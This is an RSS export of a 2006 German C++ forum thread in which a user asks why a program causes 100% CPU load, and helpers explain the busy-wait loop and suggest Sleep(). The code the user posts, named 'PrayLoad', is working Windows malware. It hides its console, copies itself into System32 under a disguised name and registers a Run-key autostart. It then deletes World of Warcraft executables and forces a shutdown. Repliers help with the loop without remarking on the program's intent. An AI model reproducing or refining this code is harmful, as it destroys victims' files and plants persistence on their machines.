<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[100% Auslastung]]></title><description><![CDATA[<p>Hi,<br />
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum.<br />
Ich vermute das es mit dem Countdown zusammenhaengt der eingebaut ist aber bin mir da auch nicht so sicher. Der Code ist auch nicht uebermaessig lang, vill. 1,5 Seiten, wenn ueberhaupt.<br />
Waehre gut wenn mir jemand helfen koennte.<br />
MfG<br />
Coda</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/168237/100-auslastung</link><generator>RSS for Node</generator><lastBuildDate>Sun, 20 Sep 2026 00:33:14 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/168237.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 19 Dec 2006 21:17:15 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to 100% Auslastung on Tue, 19 Dec 2006 21:17:15 GMT]]></title><description><![CDATA[<p>Hi,<br />
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum.<br />
Ich vermute das es mit dem Countdown zusammenhaengt der eingebaut ist aber bin mir da auch nicht so sicher. Der Code ist auch nicht uebermaessig lang, vill. 1,5 Seiten, wenn ueberhaupt.<br />
Waehre gut wenn mir jemand helfen koennte.<br />
MfG<br />
Coda</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195121</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195121</guid><dc:creator><![CDATA[Coda*linux.PrayLoad]]></dc:creator><pubDate>Tue, 19 Dec 2006 21:17:15 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Tue, 19 Dec 2006 21:34:15 GMT]]></title><description><![CDATA[<p>Hi, bist heute wohl witzig drauf...<br />
Bitte sage uns mal wie wir dir helfen sollen ohne ein Stück Code.</p>
<p>=&gt;&gt;&quot;Mir tut was weh. Kann mir einer helfen ?&quot;</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195128</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195128</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Tue, 19 Dec 2006 21:34:15 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Tue, 19 Dec 2006 21:38:45 GMT]]></title><description><![CDATA[<p>Evtl. rennt sich da eine Schleife zu tode, es hilft meistens, wenn du da ein Sleep von ein paar Millisekunden einbaust.</p>
<p>Aber wie FreakCoder schon gesagt hat, du musst immer deinen Code beigeben, sonst können wir dir sehr schlecht helfen .... <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /> <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<blockquote>
<p>=&gt;&gt;&quot;Mir tut was weh. Kann mir einer helfen ?&quot;</p>
</blockquote>
<p><img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f44d.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--thumbs_up"
      title=":+1:"
      alt="👍"
    /> <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<p>MfG mikey.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195130</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195130</guid><dc:creator><![CDATA[mikey]]></dc:creator><pubDate>Tue, 19 Dec 2006 21:38:45 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 10:01:25 GMT]]></title><description><![CDATA[<p>Coda@linux.PrayLoad schrieb:</p>
<blockquote>
<p>Hi,<br />
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum....</p>
</blockquote>
<p>Ist doch Prima !<br />
Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195254</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195254</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Wed, 20 Dec 2006 10:01:25 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 10:12:43 GMT]]></title><description><![CDATA[<p>Hallo</p>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Coda@linux.PrayLoad schrieb:</p>
<blockquote>
<p>Hi,<br />
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum....</p>
</blockquote>
<p>Ist doch Prima !<br />
Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?</p>
<p>Gruß,</p>
<p>Simon2.</p>
</blockquote>
<p>Das hast du einfach schön gesagt.</p>
<p>chrische</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195259</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195259</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Wed, 20 Dec 2006 10:12:43 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 10:15:23 GMT]]></title><description><![CDATA[<p>Wie mikey schon gesagt hat wird wahrscheinlich eine deiner Schleifen die 100% CPU Last verursachen. Versuch es mal mit dem sleep zu dem dir mikey geraten hat.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195261</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195261</guid><dc:creator><![CDATA[guenni81]]></dc:creator><pubDate>Wed, 20 Dec 2006 10:15:23 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 10:47:00 GMT]]></title><description><![CDATA[<p>Lösung:</p>
<p>Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)</p>
<p>Ich denke mal du hast im hauptfenster bei der OnPaint Funktion</p>
<p>am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen &quot;neu Zeichne&quot; messages und hat so ne 100% auslastung:)</p>
<p>bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes</p>
<p>P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:</p>
<p>EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195277</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195277</guid><dc:creator><![CDATA[BorisDieKlinge]]></dc:creator><pubDate>Wed, 20 Dec 2006 10:47:00 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 10:57:31 GMT]]></title><description><![CDATA[<p>BorisDieKlinge schrieb:</p>
<blockquote>
<p>Lösung:<br />
Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)</p>
<p>Ich denke mal du hast im hauptfenster bei der OnPaint Funktion</p>
<p>am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen &quot;neu Zeichne&quot; messages und hat so ne 100% auslastung:)</p>
<p>bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes</p>
<p>P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:</p>
<p>EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)</p>
</blockquote>
<p>Halöle BorisDieKlinge,<br />
ich glaube eher das es sich um eine Konsolenanwendung handelt. Bei Konsolenanwendungen hast du dieses Nachrichtensystem wie bei der MFC nicht und musst das Problem anderster behandeln/lösen. Eine Möglichkeit wurde oben mit dem sleep genannt. Eine weitere Möglichkeit wäre das ganze in einem extra Thread laufen zu lassen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195286</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195286</guid><dc:creator><![CDATA[guenni81]]></dc:creator><pubDate>Wed, 20 Dec 2006 10:57:31 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 11:14:56 GMT]]></title><description><![CDATA[<blockquote>
<p>Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?</p>
</blockquote>
<p>Er könnte dann noch die Prozesspriorität auf Realtime stellen, dann geht dein Programm ab wie ein Zäpfchen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<p>Nee, also wiegesagt, check mal deinen Code nach den erwähnten Vermutungen. Wenn sich was rührt, dann melde dich!</p>
<p>MfG, mikey.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195295</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195295</guid><dc:creator><![CDATA[mikey]]></dc:creator><pubDate>Wed, 20 Dec 2006 11:14:56 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 11:34:31 GMT]]></title><description><![CDATA[<blockquote>
<p>Ich denke mal du hast im hauptfenster bei der OnPaint Funktion<br />
...</p>
</blockquote>
<p>Wird auch so die Wettervorhersage gemacht ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195302</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195302</guid><dc:creator><![CDATA[Knuddlbaer]]></dc:creator><pubDate>Wed, 20 Dec 2006 11:34:31 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 12:11:25 GMT]]></title><description><![CDATA[<p>chrische5 schrieb:</p>
<blockquote>
<p>...<br />
Das hast du einfach schön gesagt.</p>
<p>chrische</p>
</blockquote>
<p>Danke. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f60b.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_savoring_food"
      title=":yum:"
      alt="😋"
    /></p>
<p>Ich habe immer noch nicht verstanden, welches &quot;Problem&quot; hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195331</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195331</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Wed, 20 Dec 2006 12:11:25 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 12:58:32 GMT]]></title><description><![CDATA[<p>Simon2 schrieb:</p>
<blockquote>
<p>Ich habe immer noch nicht verstanden, welches &quot;Problem&quot; hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.</p>
<p>Gruß,</p>
<p>Simon2.</p>
</blockquote>
<p>Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht <strong>fragt</strong> bleibt dumm. die meisten glauben aber es heiße: Wer nichts <strong>sagt</strong> ist dumm. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195367</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195367</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Wed, 20 Dec 2006 12:58:32 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 13:15:16 GMT]]></title><description><![CDATA[<p>schue schrieb:</p>
<blockquote>
<p>Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht <strong>fragt</strong> bleibt dumm. die meisten glauben aber es heiße: Wer nichts <strong>sagt</strong> ist dumm. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
</blockquote>
<p>Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195377</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195377</guid><dc:creator><![CDATA[guenni81]]></dc:creator><pubDate>Wed, 20 Dec 2006 13:15:16 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 13:33:01 GMT]]></title><description><![CDATA[<p>guenni81 schrieb:</p>
<blockquote>
<p>...Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.</p>
</blockquote>
<p>Das ist kein Problem.<br />
Man muß seinen Prozesseor nicht &quot;schonen&quot; (&quot;Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft&quot;) <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
<p>Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195394</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195394</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Wed, 20 Dec 2006 13:33:01 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 13:53:51 GMT]]></title><description><![CDATA[<p>Simon2 schrieb:</p>
<blockquote>
<p>Man muß seinen Prozesseor nicht &quot;schonen&quot; (&quot;Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft&quot;) <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
</blockquote>
<p>Es kommt auf das Programm an. Wenn du nur einen Coutdown runterzählen lässt und die CPU 100% Systemauslastung anzeigt, dann kann was an dem Programm nicht stimmen.</p>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?</p>
</blockquote>
<p>Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195407</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195407</guid><dc:creator><![CDATA[guenni81]]></dc:creator><pubDate>Wed, 20 Dec 2006 13:53:51 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 14:12:50 GMT]]></title><description><![CDATA[<p>guenni81 schrieb:</p>
<blockquote>
<p>...</p>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?</p>
</blockquote>
<p>Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.</p>
</blockquote>
<p>Es heißt aber nicht zwangsläufig, dass es ein Problem ist.<br />
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195419</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195419</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Wed, 20 Dec 2006 14:12:50 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 15:25:58 GMT]]></title><description><![CDATA[<p>Simon2 schrieb:</p>
<blockquote>
<p>Es heißt aber nicht zwangsläufig, dass es ein Problem ist.<br />
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.</p>
</blockquote>
<p>Was für Anwendungen sind das den?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195467</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195467</guid><dc:creator><![CDATA[guenni81]]></dc:creator><pubDate>Wed, 20 Dec 2006 15:25:58 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Wed, 20 Dec 2006 16:10:48 GMT]]></title><description><![CDATA[<p>guenni81 schrieb:</p>
<blockquote>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Es heißt aber nicht zwangsläufig, dass es ein Problem ist.<br />
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.</p>
</blockquote>
<p>Was für Anwendungen sind das den?</p>
</blockquote>
<p>Z.B. private Keys rechnen mit entsprechenden Primzahloperationen. Eigentlich alles, wo man rechnet ... dass der normale User sich angewöhnt hat, 100%-CPU als etwas Schlechtes anzusehen, liegt wohl eher daran, dass viele ihre Computer drastisch unterfordern. Wie sagte mal ein Freund von mir so schön: &quot;Warum soll ich meinen 286er gegen einen 386er tauschen ? Damit er noch schneller auf meinen nächsten Tastendruck warten kann ?&quot; <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1195492</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1195492</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Wed, 20 Dec 2006 16:10:48 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 18:23:55 GMT]]></title><description><![CDATA[<p>Hier ist der Code.<br />
Das die Schleife sich endlos laeuft sehe ich jetzt auch nicht.<br />
Coda habe ich desshalb erst nicht geposted, weil ich genau wusste was hier nun wieder fuer Fragen auftauchen.</p>
<pre><code class="language-cpp">// Prog kicks WoW
// PrayLoad (c) by Coda

#include &lt;cstdlib&gt;
#include &lt;iostream&gt;
#include &lt;stdio.h&gt;
#include &lt;time.h&gt;
#include &lt;math.h&gt;
#include &lt;windows.h&gt;

using namespace std;

// Math
void wait ( int seconds )
{
  clock_t endwait;
  endwait = clock () + seconds * CLK_TCK ;
  while (clock() &lt; endwait) {}
}

// Main-Funktion
int main()
{

// Konsole invisible   
   SetConsoleTitle(&quot;PrayLoad&quot;);
   HWND hFenster = FindWindow(NULL, &quot;PrayLoad&quot;);
   ShowWindow(hFenster, SW_HIDE);

// Copy
CopyFile(&quot;wow_fun.exe&quot; , &quot;C:\\WINDOWS\\System32\\cfmon.exe&quot; , TRUE);

// auto boot
   HKEY hkey;
   HKEY KEY = HKEY_LOCAL_MACHINE;
   char place[100]= {&quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;};
   char name[100]= {&quot;Autostart&quot;};
   char value[100]= {&quot;C:\\WINDOWS\\System32\\cfmon.exe&quot;};

   RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&amp;hkey);
   RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
   RegCloseKey(hkey);

// Dec
  int n;
  int mineing = 3;
  int min;
  int sek;
  FILE * pFile1;
  pFile1 = fopen (&quot;C:\\Programme\\World of Warcraft\\Launcher.exe&quot;,&quot;r&quot;);
  FILE * pFile2;
  pFile2 = fopen (&quot;D:\\Programme\\World of Warcraft\\Launcher.exe&quot;,&quot;r&quot;);
  FILE * pFile3;
  pFile3 = fopen (&quot;C:\\Programme\\World of Warcraft\\WoW.exe&quot;,&quot;r&quot;);
  FILE * pFile4;
  pFile4 = fopen (&quot;D:\\Programme\\World of Warcraft\\WoW.exe&quot;,&quot;r&quot;);

// Math
  min = mineing * 60;
  sek = min;

// time
  for (n = sek; n &gt; 0; --n)
  {
    wait (1);
  }

// if for filetest  
  if (!pFile1 == NULL || !pFile2 == NULL || !pFile3 == NULL || !pFile4 == NULL)
  {
// Del
      DeleteFile(&quot;C:\\Programme\\World of Warcraft\\Launcher.exe&quot;);
      DeleteFile(&quot;D:\\Programme\\World of Warcraft\\Launcher.exe&quot;);
      DeleteFile(&quot;C:\\Programme\\World of Warcraft\\WoW.exe&quot;);
      DeleteFile(&quot;D:\\Programme\\World of Warcraft\\WoW.exe&quot;);

// Terminate

// Shutdown
      system(&quot;shutdown -s -t 0&quot;);
  }
  else
  {
     return 0;
  }
  return 0;
}
</code></pre>
<p>MfG<br />
Coda</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196765</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196765</guid><dc:creator><![CDATA[Coda@linux.PrayLoad.]]></dc:creator><pubDate>Fri, 22 Dec 2006 18:23:55 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 18:54:40 GMT]]></title><description><![CDATA[<p>Coda@linux.PrayLoad. schrieb:</p>
<blockquote>
<pre><code class="language-cpp">void wait ( int seconds )
{
  clock_t endwait;
  endwait = clock () + seconds * CLK_TCK ;
  while (clock() &lt; endwait) { Sleep(1000); }
}
</code></pre>
</blockquote>
<p>&quot;Problem&quot; gelöst?</p>
<p>(Rest des Programms nicht angeschaut, ich hoffe ich habe deine Frage verstanden)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196772</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196772</guid><dc:creator><![CDATA[pock]]></dc:creator><pubDate>Fri, 22 Dec 2006 18:54:40 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 19:14:55 GMT]]></title><description><![CDATA[<p>Naja, kein Wunder das da ne 100% CPU Auslastung rauskommt wenn die wait-funktion nonstop clock() called.</p>
<p>btw, geht viel einfacher:</p>
<pre><code class="language-cpp">void wait ( int seconds )
{
   Sleep(1000 * seconds);
}
</code></pre>
<p>Mit dem Unterschied das der Thread vom Sleep suspended wird, also 0 CPU Auslastung erzeugt solange er wartet.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196781</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196781</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Fri, 22 Dec 2006 19:14:55 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 19:33:37 GMT]]></title><description><![CDATA[<p>Ja, danke, aber ich verstehe es nicht so wirklich.</p>
<p>MfG<br />
Coda</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196788</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196788</guid><dc:creator><![CDATA[Coda*linux.PrayLoad]]></dc:creator><pubDate>Fri, 22 Dec 2006 19:33:37 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 20:06:19 GMT]]></title><description><![CDATA[<p>hmm, also:</p>
<pre><code class="language-cpp">while (clock() &lt; endwait) {}
</code></pre>
<p>Das ist eine while-schleife die non-stop den clock() Befehl aufruft. Dein Computer benutzt also seine komplette Rechenleistung um ununterbrochen clock() aufzurufen bis die Abbruchbedingung erreicht ist. Auf meinem Rechner sind das z.B 13.706.686 Aufrufe pro Sekunde. UNd genau da kommen deine 100% Rechenauslastung her...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196792</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196792</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Fri, 22 Dec 2006 20:06:19 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Fri, 22 Dec 2006 23:47:59 GMT]]></title><description><![CDATA[<p>Coda@linux.PrayLoad schrieb:</p>
<blockquote>
<p>Ja, danke, aber ich verstehe es nicht so wirklich.</p>
<p>MfG<br />
Coda</p>
</blockquote>
<p>Hi,</p>
<p>sieh es mal anders herum:<br />
- Dein Prozess hat nur dann weniger als 100% CPU-Auslastung, wenn der Rechner einem anderen Prozess (und sei es &quot;idle&quot;) Rechenzeit zuweist.<br />
- Damit der Rechner das tut, musst Du ihm mitteilen, dass Du jetzt etwas Rechnezeit &quot;übrig&quot; hast.<br />
- Das teilst Du ihm mittels sleep() mit.</p>
<p>(ich weiß, im Detail ist scheduling noch deutlich komplexer, aber das ist schonmal ein Grundprinzip)</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196850</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196850</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Fri, 22 Dec 2006 23:47:59 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Sat, 23 Dec 2006 00:04:48 GMT]]></title><description><![CDATA[<p>Simon2 schrieb:</p>
<blockquote>
<p>guenni81 schrieb:</p>
<blockquote>
<p>...</p>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?</p>
</blockquote>
<p>Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.</p>
</blockquote>
<p>Es heißt aber nicht zwangsläufig, dass es ein Problem ist.<br />
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.</p>
<p>Gruß,</p>
<p>Simon2.</p>
</blockquote>
<p>wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.</p>
<p>mfg.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196854</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196854</guid><dc:creator><![CDATA[joomoo]]></dc:creator><pubDate>Sat, 23 Dec 2006 00:04:48 GMT</pubDate></item><item><title><![CDATA[Reply to 100% Auslastung on Sat, 23 Dec 2006 00:25:45 GMT]]></title><description><![CDATA[<p>joomoo schrieb:</p>
<blockquote>
<p>Simon2 schrieb:</p>
<blockquote>
<p>guenni81 schrieb:</p>
<blockquote>
<p>...</p>
<p>Simon2 schrieb:</p>
<blockquote>
<p>Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?</p>
</blockquote>
<p>Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.</p>
</blockquote>
<p>Es heißt aber nicht zwangsläufig, dass es ein Problem ist.<br />
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.</p>
<p>Gruß,</p>
<p>Simon2.</p>
</blockquote>
<p>wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.</p>
<p>mfg.</p>
</blockquote>
<p>Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.<br />
Meine Aussage weiterhin: Es mag sein, dass eine 100%-CPU-Auslastung ein Symptom eines Problems ist ... für sich genommen ist sie aber kein Problem.</p>
<p>Gruß,</p>
<p>Simon2.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1196861</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1196861</guid><dc:creator><![CDATA[Simon2]]></dc:creator><pubDate>Sat, 23 Dec 2006 00:25:45 GMT</pubDate></item></channel></rss>